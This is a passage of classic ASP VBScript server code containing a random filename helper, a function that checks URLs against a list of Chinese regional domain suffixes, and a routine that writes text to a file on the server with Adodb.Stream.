Getxxx=date()&"/"&randKey(8)&"."&ifi elseif ffee=0 then Getxxx=replace(date(),"/","")&"/"&randKey(8)&"."&ifi else Getxxx=randKey(RndNumber(8,5))&"."&ifi end if End Function Function check(ck_url) allow_agent=split(".ac.cn|.bj.cn|.sh.cn|.tj.cn|.cq.cn|.he.cn|.sn.cn|.sx.cn|.nm.cn|.ln.cn|.jl.cn|.hl.cn|.js.cn|.zj.cn|.ah.cn|.fj.cn|.jx.cn|.sd.cn|.ha.cn|.hb.cn|.hn.cn|.gd.cn|.gx.cn|.hi.cn|.sc.cn|.gz.cn|.yn.cn|.gs.cn|.qh.cn","|") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(ck_url,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function WriteToFile (FileUrl, Str, CharSet) Set stm = CreateObject("Adodb.Stream") stm.Type = 2 stm.mode = 3 stm.charset = CharSet stm.Open stm.WriteText Str stm.SaveToFile server.mappath(FileUrl), 2 stm.flush stm.Close Set stm = Nothing End Function %>